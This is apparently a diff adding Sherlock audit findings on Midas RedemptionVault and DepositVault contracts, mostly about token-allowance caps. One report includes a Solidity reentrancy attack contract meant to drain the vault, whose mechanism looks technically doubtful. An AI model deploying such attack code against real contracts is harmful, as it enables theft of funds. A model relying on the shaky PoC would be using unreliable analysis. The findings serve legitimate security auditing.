+The vulnerability allows any user who can call the [`RedemptionVault.redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L124C14-L189). The normal requirements for this function to be executed are as follows:
+
+1. Users need to hold `mToken`.
+2. The [`RedemptionVault.redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L124C14-L189) must not be paused.
+3. Users must not be blacklisted or sanctioned, and they must be on the green list (if enabled).
+
+
+### Impact
+
+- The protocol unnecessarily reserve more `tokenOut` than needed, leading to inefficient use of the token allowance.
+- This users suffer the rejection of subsequent operations, even when there are sufficient actual tokens available for legitimate transactions.
+
+
+### Mitigation
+
+Update the token redemption allowance check and update logic in the `RedemptionVault.redeemInstant()` to use `amountTokenOutWithoutFee` instead of `amountTokenOut`.
+
+This change will ensure that only the actual amount of tokens being transferred/operated to the user is tracked and updated, preventing unnecessary reservation of `tokenOut` and avoiding potential rejection of subsequent operations due to over-consumption of the token allowance.
+
+```diff
+File: RedemptionVault.sol
+123: */
+124: function redeemInstant(
+125: address tokenOut,
+126: uint256 amountMTokenIn,
+127: uint256 minReceiveAmount
+128: )
+---
+159: uint256 amountTokenOutWithoutFee = _truncate(
+160: (amountMTokenWithoutFee * mTokenRate) / tokenOutRate,
+161: tokenDecimals
+162: );
+---
+-169: _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
++169: _requireAndUpdateAllowance(tokenOutCopy, amountTokenOutWithoutFee);
+170:
+171: mToken.burn(user, amountMTokenWithoutFee);
+172: if (feeAmount > 0)
+173: _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+174:
+175: _tokenTransferToUser(
+176: tokenOutCopy,
+177: user,
+178: amountTokenOutWithoutFee,
+179: tokenDecimals
+180: );
+```
\ No newline at end of file
diff --git a/007/049.md b/007/049.md
new file mode 100644
index 0000000..98222f9
--- /dev/null
+++ b/007/049.md
@@ -0,0 +1,64 @@
+Decent Yellow Butterfly
+
+Medium
+
+# Lack of Token Allowance Validation in the `RedemptionVault.sol#_approveRequest()` Function
+
+### Summary
+
+The absence of token allowance validation in the `RedemptionVault.sol#_approveRequest()` function can lead to the unauthorized spending of excess tokens from the contract.
+
+### Root Cause
+
+The `RedemptionVault.sol#_approveRequest()` function does not include any checks for token allowance.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+While the [`RedemptionVault.sol#redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169) function effectively validates the token allowance, the `RedemptionVault.sol#_approveRequest()` function lacks similar validation, creating a potential vulnerability.
+
+### Impact
+
+The absence of allowance checks may result in spending more tokens than intended from the contract.
+
+### PoC
+
+To mitigate excess spending, it is crucial to utilize the `tokensConfig[].allowance`, which restricts the amount that can be spent or contributed to the contract.
+```solidity
+ function changeTokenAllowance(address token, uint256 allowance)
+ external
+ onlyVaultAdmin
+ {
+ _requireTokenExists(token);
+ require(allowance > 0, "MV: zero allowance");
+ tokensConfig[token].allowance = allowance;
+ emit ChangeTokenAllowance(token, msg.sender, allowance);
+ }
+```
+The related `RedemptionVault.sol#redeemInstant()` function verifies if operations exceed token allowances and updates them using the `_requireAndUpdateAllowance()` method located in [#L169](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169). Its implementation is as follows:
+
+```solidity
+ function _requireAndUpdateAllowance(address token, uint256 amount)
+ internal
+ {
+ uint256 prevAllowance = tokensConfig[token].allowance;
+ if (prevAllowance == MAX_UINT) return;
+
+ require(prevAllowance >= amount, "MV: exceed allowance");
+
+ tokensConfig[token].allowance -= amount;
+ }
+```
+
+However, the `RedemptionVault.sol#_approveRequest()` function does not perform an allowance check or update, which allows the function to approve user requests and transfer tokens without restriction, leading to potential excessive withdrawals from the contract.
+
+### Mitigation
+
+It is advisable to implement the `_requireAndUpdateAllowance()` function within the `RedemptionVault.sol#_approveRequest()` function to enforce token allowance checks and prevent unauthorized spending of tokens.
\ No newline at end of file
diff --git a/007/095.md b/007/095.md
new file mode 100644
index 0000000..bf2d1be
--- /dev/null
+++ b/007/095.md
@@ -0,0 +1,73 @@
+Brave Smoke Mustang
+
+Medium
+
+# Missing of the validation for token allowance in the `RedemptionVault.sol#_approveRequest()` function
+
+### Summary
+
+Excess tokens may be spent from the contract due to the lack of validation for token allowance in the `RedemptionVault.sol#_approveRequest()` function.
+
+
+### Root Cause
+
+The token allowance is not validated in the `RedemptionVault.sol#_approveRequest()` function.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+The [`RedemptionVault.sol#redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169) function performs validation for token allowance, but the `RedemptionVault.sol#_approveRequest()` function does not.
+
+
+### Impact
+
+Excess tokens may be spent from the contract than expected.
+
+
+### PoC
+
+`tokensConfig[].allowance` is a token allowance that prevents more than expected from being spent or contributed to the contract.
+```solidity
+ function changeTokenAllowance(address token, uint256 allowance)
+ external
+ onlyVaultAdmin
+ {
+ _requireTokenExists(token);
+ require(allowance > 0, "MV: zero allowance");
+ tokensConfig[token].allowance = allowance;
+ emit ChangeTokenAllowance(token, msg.sender, allowance);
+ }
+```
+The `RedemptionVault.sol#redeemInstant()` function checks if operation exceed token allowance and updates allowance by using `_requireAndUpdateAllowance()` function in [#L169](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169).
+
+```solidity
+ function _requireAndUpdateAllowance(address token, uint256 amount)
+ internal
+ {
+ uint256 prevAllowance = tokensConfig[token].allowance;
+ if (prevAllowance == MAX_UINT) return;
+
+ require(prevAllowance >= amount, "MV: exceed allowance");
+
+ tokensConfig[token].allowance -= amount;
+ }
+```
+
+However, there is no part in the [`RedemptionVault.sol#_approveRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L343) function that checks and updates token allowance.
+
+The `RedemptionVault.sol#_approveRequest()` function approves the user's request and sends the corresponding token to the user.
+
+As a result, Excess tokens may be spent from the contract.
+
+
+### Mitigation
+
+It is recommended to add the _requireAndUpdateAllowance() to the `RedemptionVault.sol#_approveRequest()` function.
\ No newline at end of file
diff --git a/007/102.md b/007/102.md
new file mode 100644
index 0000000..3fd820a
--- /dev/null
+++ b/007/102.md
@@ -0,0 +1,142 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Standard redemption in `RedemptionVault` does not update token allowance.
+
+
+## Summary
+
+Standard redemption in `RedemptionVault` does not update token allowance.
+
+## Vulnerability Detail
+
+From the specs, we can know that there is a token allowance for redeeming.
+
+- [Users can request a standard redemption](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=b4fc4f41370a40629c2b2b8d767eb7e3&pm=s)
+- [Admin manages the list of token_in and token_out](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=477e48c7688b443aa496a669134725f0&pm=s)
+
+> **Caps**
+
+> - Yes
+
+> redeem cap (allowance based, set in token_out)
+
+However, this allowance is not respected during standard redemption process.
+
+```solidity
+ function redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemRequest.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ require(tokenOut != MANUAL_FULLFILMENT_TOKEN, "RV: tokenOut == fiat");
+ return _redeemRequest(tokenOut, amountMTokenIn);
+ }
+
+ function _redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ internal
+ returns (uint256)
+ {
+ address user = msg.sender;
+
+ bool isFiat = tokenOut == MANUAL_FULLFILMENT_TOKEN;
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+ ) = _calcAndValidateRedeem(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ false,
+ isFiat
+ );
+
+ address tokenOutCopy = tokenOut;
+
+ uint256 tokenOutRate;
+ if (!isFiat) {
+ TokenConfig storage config = tokensConfig[tokenOutCopy];
+ tokenOutRate = _getTokenRate(config.dataFeed, config.stable);
+ }
+
+ uint256 amountMTokenInCopy = amountMTokenIn;
+
+@> // BUG: _requireAndUpdateAllowance is not called anywhere.
+
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+
+ _tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always have 18 decimals
+ );
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+
+ uint256 requestId = currentRequestId.current();
+ currentRequestId.increment();
+
+ redeemRequests[requestId] = Request({
+ sender: user,
+ tokenOut: tokenOutCopy,
+ status: RequestStatus.Pending,
+ amountMToken: amountMTokenWithoutFee,
+ mTokenRate: mTokenRate,
+ tokenOutRate: tokenOutRate
+ });
+
+ emit RedeemRequest(requestId, user, tokenOutCopy, amountMTokenInCopy);
+
+ return requestId;
+ }
+```
+
+To make a comparison, the standard deposit updates the allowance for tokenIn.
+
+```solidity
+ function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ {
+ ...
+ _requireAndUpdateAllowance(tokenIn, amountToken);
+ ...
+ }
+```
+
+
+## Impact
+
+1. User can bypass the allowance of token allowance during standard redemption.
+2. Code does not align with spec (Note that contest readme claims "discrepancies between the spec and the code can be reported as issues").
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L372-L428
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Call `_requireAndUpdateAllowance(tokenIn, amountToken);` in `_redeemRequest`. Also check that is it a non-fiat redeem.
\ No newline at end of file
diff --git a/007/106.md b/007/106.md
new file mode 100644
index 0000000..9de4f95
--- /dev/null
+++ b/007/106.md
@@ -0,0 +1,112 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# RedemptionVaults should not include fees when updating allowance.
+
+
+## Summary
+
+RedemptionVaults should not include fees when updating allowance. Allowance would be deducted more than expected.
+
+## Vulnerability Detail
+
+When redeeming mTokens, the user needs to specify which `tokenOut` he wants to receive. The allowance limit for the `tokenOut` is updated accordingly.
+
+The issue here is, when users are redeeming mTokens, a portion of mToken is taken as fees (which sent to `feeReceiver`). But when reducting the allowance of `tokenOut`, the mToken fees are also included. An example is:
+
+1. User redeems 100k mTBill (say it is worth 200k USDC).
+2. The fee is set to 2%, so 2k mTBill is sent to `feeReceiver`.
+3. 98k mTBill is burned, and 196k USDC is sent to user.
+
+The issue here is, 200k USDC is deducted from the allowance instead of 196k. Users only received 196k of USDC, so it does not make sense to deduct 200k USDC. Admins could have used the allowance parameter to limit the total amount of USDC sent to users, but now they can't.
+
+Note this issue occurs in all redemption vaults, including `RedemptionVaultWithBUIDL` and `MBasisRedemptionVaultWithSwapper`.
+
+```solidity
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ virtual
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ address user = msg.sender;
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+ ) = _calcAndValidateRedeem(user, tokenOut, amountMTokenIn, true, false);
+
+ _requireAndUpdateLimit(amountMTokenIn);
+
+ uint256 tokenDecimals = _tokenDecimals(tokenOut);
+
+ uint256 amountMTokenInCopy = amountMTokenIn;
+ address tokenOutCopy = tokenOut;
+ uint256 minReceiveAmountCopy = minReceiveAmount;
+
+ (uint256 amountMTokenInUsd, uint256 mTokenRate) = _convertMTokenToUsd(
+ amountMTokenInCopy
+ );
+ (uint256 amountTokenOut, uint256 tokenOutRate) = _convertUsdToToken(
+ amountMTokenInUsd,
+ tokenOutCopy
+ );
+
+ uint256 amountTokenOutWithoutFee = _truncate(
+ (amountMTokenWithoutFee * mTokenRate) / tokenOutRate,
+ tokenDecimals
+ );
+
+ require(
+ amountTokenOutWithoutFee >= minReceiveAmountCopy,
+ "RV: minReceiveAmount > actual"
+ );
+
+@> _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+
+ mToken.burn(user, amountMTokenWithoutFee);
+ if (feeAmount > 0)
+@> _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+
+ _tokenTransferToUser(
+ tokenOutCopy,
+ user,
+ amountTokenOutWithoutFee,
+ tokenDecimals
+ );
+
+ emit RedeemInstant(
+ user,
+ tokenOutCopy,
+ amountMTokenInCopy,
+ feeAmount,
+ amountTokenOutWithoutFee
+ );
+ }
+
+```
+
+## Impact
+
+Allowance would be deducted more than expected.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L123
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L143
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Change to `_requireAndUpdateAllowance(tokenOutCopy, amountTokenOutWithoutFee);`.
\ No newline at end of file
diff --git a/007/115.md b/007/115.md
new file mode 100644
index 0000000..f4e214d
--- /dev/null
+++ b/007/115.md
@@ -0,0 +1,25 @@
+Acidic Walnut Lemur
+
+Medium
+
+# `_requireAndUpdateAllowance()` not enforced in `redeemRequest()` and `redeemFiatRequest()` in `RedemptionVault` Contract
+
+## Summary
+The absence of the `_requireAndUpdateAllowance()` check in the `redeemRequest()` and `redeemFiatRequest()` functions will allow the token amount to be redeemed even if it exceeds the configured token allowance, leading to potential over-redemption.
+
+## Vulnerability Detail
+The `_requireAndUpdateAllowance()` function checks whether the token allowance is sufficient before proceeding with an operation, ensuring that the allowance is not exceeded. It also updates the allowance by subtracting the amount being operated on. In the `redeemRequest()` and `redeemFiatRequest()` functions, this check is not enforced, allowing these functions to proceed with token redemptions regardless of the allowance configured in `tokensConfig[token].allowance`. This could result in the redemption of tokens beyond the allowed limit.
+
+## Impact
+Failure to enforce the `_requireAndUpdateAllowance()` check will allow the redemption of tokens beyond the allowed limit, leading to over-redemption.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L372C1-L427C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Ensure that the `_requireAndUpdateAllowance()` function is called inside `_redeemRequest()` function to enforce allowance checks
+ and update allowance before proceeding with any redemption operations. This will ensure that the token amount being redeemed does not exceed the allowed limit configured in `tokensConfig[token].allowance`.
\ No newline at end of file
diff --git a/007/120.md b/007/120.md
new file mode 100644
index 0000000..e083cd5
--- /dev/null
+++ b/007/120.md
@@ -0,0 +1,320 @@
+Cheerful Porcelain Eel
+
+Medium
+
+# Missing token allowance update when requesting redemptions will lead to redemption cap being bypassed
+
+## Summary
+
+`tokenOut` allowance is not updated when requesting/approving a redeem, making it possible to bypass the allowance caps configured.
+
+## Vulnerability Detail
+
+Midas includes an allowance for each configured token in the protocol. This is intended to act as a cap, i.e a limit on the amount of tokens that users use in the protocol.
+
+Reducing the allowance for each token can always be done by calling the internal `_requireAndUpdateAllowance` function in the parent contract `ManageableVault`:
+
+```solidity
+// ManageableVault.sol
+
+function _requireAndUpdateAllowance(address token, uint256 amount)
+ internal
+ {
+ uint256 prevAllowance = tokensConfig[token].allowance;
+ if (prevAllowance == MAX_UINT) return;
+
+ require(prevAllowance >= amount, "MV: exceed allowance");
+
+ tokensConfig[token].allowance -= amount;
+ }
+```
+
+Taking a look at `DepositVault`, we can see that allowance is updated **inside the** `_calcAndValidateDeposit`, an internal function called in both the instant and non-instant deposit flows**:**
+
+```solidity
+// DepositVault.sol
+
+function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ {
+ ...
+
+ _requireAndUpdateAllowance(tokenIn, amountToken);
+
+ ...
+ }
+```
+
+As mentioned, both the instant and non-instant deposit flows call the `_calcAndValidateDeposit` function, which is correct:
+
+```solidity
+// DepositVault.sol
+
+function depositInstant(
+ address tokenIn,
+ uint256 amountToken,
+ uint256 minReceiveAmount,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ ...
+
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ ,
+ ,
+ uint256 tokenDecimals
+ ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, true);
+
+ ...
+
+ }
+
+ function depositRequest(
+ address tokenIn,
+ uint256 amountToken,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositRequest.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ ...
+
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeAmount,
+ uint256 amountTokenWithoutFee,
+ ,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, false);
+
+ ...
+
+ }
+```
+
+However, taking a look at the `RedemptionVault` contract, we can see that the allowance is **only updated for instant redeems:**
+
+```solidity
+// RedemptionVault.sol
+
+function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ virtual
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ ...
+
+ _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+
+ ...
+
+ }
+
+
+```
+
+Non-instant (request) redeems **don’t update the `tokenOut` allowance,** enabling the allowance cap to be bypassed by performing redeem requests instead of redeeming instantly. This occurs because the internal `_calcAndValidateRedeem` does not update the allowance just like `_calcAndValidateDeposit` did for deposits in the `DepositVault`:
+
+```solidity
+// RedemptionVault.sol
+
+function redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemRequest.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ require(tokenOut != MANUAL_FULLFILMENT_TOKEN, "RV: tokenOut == fiat");
+ return _redeemRequest(tokenOut, amountMTokenIn);
+ }
+
+ function redeemFiatRequest(uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemFiatRequest.selector)
+ onlyAlwaysGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ return _redeemRequest(MANUAL_FULLFILMENT_TOKEN, amountMTokenIn);
+ }
+
+
+ function _redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ internal
+ returns (uint256)
+ {
+ address user = msg.sender;
+
+ bool isFiat = tokenOut == MANUAL_FULLFILMENT_TOKEN;
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+ ) = _calcAndValidateRedeem(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ false,
+ isFiat
+ );
+
+ address tokenOutCopy = tokenOut;
+
+ uint256 tokenOutRate;
+ if (!isFiat) {
+ TokenConfig storage config = tokensConfig[tokenOutCopy];
+ tokenOutRate = _getTokenRate(config.dataFeed, config.stable);
+ }
+
+ uint256 amountMTokenInCopy = amountMTokenIn;
+
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+
+ _tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always have 18 decimals
+ );
+
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+
+ uint256 requestId = currentRequestId.current();
+ currentRequestId.increment();
+
+ redeemRequests[requestId] = Request({
+ sender: user,
+ tokenOut: tokenOutCopy,
+ status: RequestStatus.Pending,
+ amountMToken: amountMTokenWithoutFee,
+ mTokenRate: mTokenRate,
+ tokenOutRate: tokenOutRate
+ });
+
+ emit RedeemRequest(requestId, user, tokenOutCopy, amountMTokenInCopy);
+
+ return requestId;
+ }
+```
+
+As shown in the code snippet, the `_redeemRequest` never reduces the allowance, effectively enabling the allowance cap to be bypassed via redeem requests.
+
+Besides this, the token allowance update is also missing in the `MBasisRedemptionVaultWithSwapper` contract when performing instant requests:
+
+```solidity
+// MBasisRedemptionVaultWithSwapper.sol
+
+function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override(IRedemptionVault, RedemptionVault)
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ ...
+
+ if (
+ contractTokenOutBalance >=
+ amountTokenOutWithoutFee.convertFromBase18(tokenDecimals)
+ ) {
+ _requireAndUpdateLimit(amountMTokenInCopy);
+ _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+
+ mToken.burn(user, amountMTokenWithoutFee);
+ } else {
+ uint256 mTbillAmount = _swapMBasisToMToken(amountMTokenWithoutFee);
+
+ IERC20(mTbillRedemptionVault.mToken()).safeIncreaseAllowance(
+ address(mTbillRedemptionVault),
+ mTbillAmount
+ );
+
+ mTbillRedemptionVault.redeemInstant(
+ tokenOutCopy,
+ mTbillAmount,
+ minReceiveAmountCopy
+ );
+
+ uint256 contractTokenOutBalanceAfterRedeem = IERC20(tokenOutCopy)
+ .balanceOf(address(this));
+
+
+ amountTokenOutWithoutFee = (contractTokenOutBalanceAfterRedeem -
+ contractTokenOutBalance).convertToBase18(tokenDecimals);
+ }
+
+ ...
+
+}
+
+```
+
+Checking the code snippet we can see the `_requireAndUpdateAllowance` call to update the allowance is only performed when the contract has enough USDC so that the swap is avoided. However, if the swap flow needs to be triggered, neither the allowance nor the instant limits will be updated, which is incorrect as per the requirements for the contract. In addition, `_requireAndUpdateLimit` is also not called, so instant daily limit is also not updated in the swap flow.
+
+## Impact
+
+Medium. The allowance cap won’t work as expected for redeems, allowing users to redeem a higher amount than the expected. The correct behavior of mint/redeem caps is explicitly mentioned in Midas’ Sherlock README, linking to the [external document where all invariants are detailed](https://www.notion.so/Admin-manages-the-list-of-token_in-and-token_out-477e48c7688b443aa496a669134725f0?pvs=21), where a *“redeem cap (allowance based, set in token_out)”* is explicitly mentioned in the *“Admin manages the list of token_in and token_out”* section. Hence why this issue should be considered as Medium severity.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L390
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Update the allowance cap when requesting redeems. Note that this should be done in two steps to properly compute the allowance:
+
+- Firstly, it should be done inside the internal `_redeemRequest` amount by computing the corresponding `tokenOut` amount, utilizing the `tokenOutRate` obtained and the USD value of the mTokens redeemed at the time of performing the request.
+- Secondly, if the request is approved the new amount of `tokenOut` should be computed, and the difference between the amount at the time of the request approval and the amount computed in the actual request should also be reduced from the allowance. This is because the total amount of `tokenOut` can differ if the new rate passed when approving a request makes the overall USD value of the redeemed mTokens increase.
+
+Note that there’s an edge case where the rate of the mTokens actually decreases between the redeem request and its approval. In that situation, the allowance should be **increased instead of decreased**, as the final transferred amount of `tokenOut` will be lower than initially expected.
+
+Besides redeem requests, also update the allowance and instant daily limits when the swap flow is triggered in the `MBasisRedemptionVaultWithSwapper` contract.
\ No newline at end of file
diff --git a/008.md b/008.md
new file mode 100644
index 0000000..f1d0cad
--- /dev/null
+++ b/008.md
@@ -0,0 +1,39 @@
+Sweet Hickory Pangolin
+
+Medium
+
+# Lack of Input Validation at _getDeviation function for CustomAggregatorV3CompatibleFeed contract
+
+### Summary
+
+Link: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L231
+
+The _getDeviation function calculates deviation based on the previous and new prices. However, it does not check whether _lastPrice is zero, which could lead to a division by zero. While the function attempts to address division by zero for _newPrice, it does not handle it comprehensively for _lastPrice.
+
+### Root Cause
+
+Lack of input validation.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+An attacker could attempt to manipulate _lastPrice to be zero or a small value, causing unexpected behavior.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add check for _lastPrice
\ No newline at end of file
diff --git a/008/003.md b/008/003.md
new file mode 100644
index 0000000..9bb8399
--- /dev/null
+++ b/008/003.md
@@ -0,0 +1,131 @@
+Sweet Hickory Pangolin
+
+High
+
+# Lack of Reentrancy Protection at depositInstant and depositRequest functions for DepositVault contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L79
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148
+
+Functions like depositInstant and depositRequest involve external calls (e.g., transferring tokens). If any of these external contracts have vulnerabilities, an attacker could reenter the function, potentially leading to double-spending or other issues.
+
+### Root Cause
+
+Lack of Reentrancy Protection
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+An attacker could reenter the function, potentially leading to double-spending.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.9;
+
+import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
+import "@openzeppelin/contracts/utils/Address.sol";
+
+contract DepositVault {
+ using Address for address;
+
+ IERC20Upgradeable public mToken;
+ address public tokensReceiver;
+
+ mapping(address => uint256) public totalMinted;
+
+ constructor(address _mToken, address _tokensReceiver) {
+ mToken = IERC20Upgradeable(_mToken);
+ tokensReceiver = _tokensReceiver;
+ }
+
+ function depositInstant(address tokenIn, uint256 amountToken) external {
+ require(amountToken > 0, "Invalid amount");
+
+ // Transfer tokens from the user to the contract
+ IERC20Upgradeable(tokenIn).transferFrom(msg.sender, tokensReceiver, amountToken);
+
+ // Mint mToken for the user
+ uint256 mintAmount = amountToken; // Simplified for PoC
+ totalMinted[msg.sender] += mintAmount;
+ mToken.mint(msg.sender, mintAmount);
+ }
+}
+```
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.9;
+
+import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
+import "./DepositVault.sol";
+
+contract ReentrancyAttack {
+ DepositVault public depositVault;
+ IERC20Upgradeable public token;
+ address public owner;
+
+ constructor(address _depositVault, address _token) {
+ depositVault = DepositVault(_depositVault);
+ token = IERC20Upgradeable(_token);
+ owner = msg.sender;
+ }
+
+ function attack(uint256 amount) external {
+ // Step 1: Approve the DepositVault to transfer tokens on behalf of this contract
+ token.approve(address(depositVault), amount);
+
+ // Step 2: Initiate the deposit which will trigger the reentrancy
+ depositVault.depositInstant(address(token), amount);
+ }
+
+ // Fallback function that will be called during the reentrant call
+ fallback() external {
+ // Re-enter the depositInstant function
+ if (token.balanceOf(address(depositVault)) > 0) {
+ depositVault.depositInstant(address(token), token.balanceOf(address(this)));
+ }
+ }
+
+ function withdrawTokens() external {
+ require(msg.sender == owner, "Not owner");
+ uint256 balance = token.balanceOf(address(this));
+ token.transfer(owner, balance);
+ }
+}
+```
+
+DepositVault Contract: The simplified version of the DepositVault contract includes a depositInstant function that allows users to deposit tokens and mint mToken. This function is vulnerable to reentrancy because it transfers tokens and updates the state (totalMinted) before minting mToken.
+
+ReentrancyAttack Contract: This contract is the malicious actor. It:
+
+Approves the DepositVault to spend its tokens.
+Calls depositInstant with an initial token amount.
+Exploits the reentrancy vulnerability by re-entering the depositInstant function via the fallback function.
+The fallback function allows the attack to continue until all tokens in the DepositVault are drained.
+Fallback Function: This is key to the attack. Every time the DepositVault calls back into the attacker's contract (e.g., due to transferring tokens), the fallback function triggers another depositInstant call, leading to reentrancy.
+
+Steps to Deploy and Execute the Attack
+Deploy the Vulnerable Contract: Deploy the DepositVault contract.
+Deploy the Malicious Contract: Deploy the ReentrancyAttack contract, passing the address of the deployed DepositVault and the token to be used.
